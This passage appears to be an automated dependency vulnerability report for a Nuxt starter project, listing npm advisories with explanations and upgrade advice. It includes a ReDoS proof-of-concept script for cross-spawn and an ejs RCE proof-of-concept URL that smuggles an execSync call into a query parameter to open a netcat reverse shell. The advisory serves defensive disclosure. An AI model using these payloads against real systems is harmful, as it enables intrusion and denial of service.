Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

There is no fixed version for node-sass.

References

Use After Free vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › os-locale@2.1.0 › execa@0.7.0 › cross-spawn@5.1.0
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › yargs@8.0.2 › os-locale@2.1.0 › execa@0.7.0 › cross-spawn@5.1.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › cross-spawn@3.0.1
    Remediation: Upgrade to node-sass@5.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Prototype Pollution

  • Vulnerable module: whet.extend
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › whet.extend@0.9.9
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › whet.extend@0.9.9
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › whet.extend@0.9.9

Overview

whet.extend is an A sharped version of port of jQuery.extend that actually works on node.js

Affected versions of this package are vulnerable to Prototype Pollution due to improper user input sanitization when using the extend and _findValue functions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

There is no fixed version for whet.extend.

References

Prototype Pollution vulnerability report

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both \ and / characters as path separators. However, \ is a valid filename character on posix systems.

By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location. This can lead to extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.

Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at FOO, followed by a symbolic link named foo, then on case-insensitive file systems, the creation of the symbolic link would remove the directory from the filesystem, but not from the internal directory cache, as it would not be treated as a cache hit. A subsequent file entry within the FOO directory would then be placed in the target of the symbolic link, thinking that the directory had already been created.

Remediation

Upgrade tar to version 6.1.7, 5.0.8, 4.4.16 or higher.

References

Arbitrary File Write vulnerability report

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive can include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. This leads to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and extracting arbitrary files into that location.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

Arbitrary File Write vulnerability report

high severity

Arbitrary File Write

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Write. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain .. path portions, and resolving the sanitized paths against the extraction target directory.

This logic is insufficient on Windows systems when extracting tar files that contain a path that is not an absolute path, but specify a drive letter different from the extraction target, such as C:some\path. If the drive letter does not match the extraction target, for example D:\extraction\dir, then the result of path.resolve(extractionDirectory, entryPath) resolves against the current working directory on the C: drive, rather than the extraction target directory.

Additionally, a .. portion of the path can occur immediately after the drive letter, such as C:../foo, and is not properly sanitized by the logic that checks for .. within the normalized and split portions of the path.

Note: This only affects users of node-tar on Windows systems.

Remediation

Upgrade tar to version 6.1.9, 5.0.10, 4.4.18 or higher.

References

Arbitrary File Write vulnerability report

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient symlink protection. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created.

This logic is insufficient when extracting tar files that contain both a directory and a symlink with the same name as the directory. This order of operations results in the directory being created and added to the node-tar directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where node-tar checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it is possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location.

Remediation

Upgrade tar to version 3.2.3, 4.4.15, 5.0.7, 6.1.2 or higher.

References

Arbitrary File Overwrite vulnerability report

high severity

Arbitrary File Overwrite

  • Vulnerable module: tar
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to node-sass@5.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Arbitrary File Overwrite. This is due to insufficient absolute path sanitization.

node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the preservePaths flag is not set to true. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example, the path /home/user/.bashrc would turn into home/user/.bashrc.

This logic is insufficient when file paths contain repeated path roots such as ////home/user/.bashrc. node-tar only strips a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. ///home/user/.bashrc) still resolves to an absolute path.

Remediation

Upgrade tar to version 3.2.2, 4.4.14, 5.0.6, 6.1.1 or higher.

References

Arbitrary File Overwrite vulnerability report

high severity

Prototype Pollution

  • Vulnerable module: ajv
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › extract-text-webpack-plugin@3.0.2 › schema-utils@0.3.0 › ajv@5.5.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › url-loader@0.6.2 › schema-utils@0.3.0 › ajv@5.5.2
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › extract-text-webpack-plugin@3.0.2 › schema-utils@0.3.0 › ajv@5.5.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › url-loader@0.6.2 › schema-utils@0.3.0 › ajv@5.5.2
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

…and 1 more

Overview

ajv is an Another JSON Schema Validator

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade ajv to version 6.12.3 or higher.

References

Prototype Pollution vulnerability report

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack-bundle-analyzer@2.13.1 › ejs@2.7.4
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

Remote Code Execution (RCE) vulnerability report

high severity

Arbitrary Code Execution

  • Vulnerable module: js-yaml
  • Introduced through: nuxt@1.4.5, @nuxtjs/axios@3.1.4 and others

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0

Overview

js-yaml is a human-friendly data serialization language.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When an object with an executable toString() property used as a map key, it will execute that function. This happens only for load(), which should not be used with untrusted data anyway. safeLoad() is not affected because it can't parse functions.

Remediation

Upgrade js-yaml to version 3.13.1 or higher.

References

Arbitrary Code Execution vulnerability report

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1

…and 1 more

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions.

NOTE: This vulnerability has also been identified as: CVE-2019-16769

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 2.1.1 or higher.

References

Cross-site Scripting (XSS) vulnerability report

high severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › serialize-javascript@1.9.1
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › serialize-javascript@1.9.1

…and 1 more

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It does not properly sanitize against unsafe characters in serialized regular expressions. This vulnerability is not affected on Node.js environment since Node.js's implementation of RegExp.prototype.toString() backslash-escapes all forward slashes in regular expressions.

NOTE: This vulnerability has also been identified as: CVE-2019-16772

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
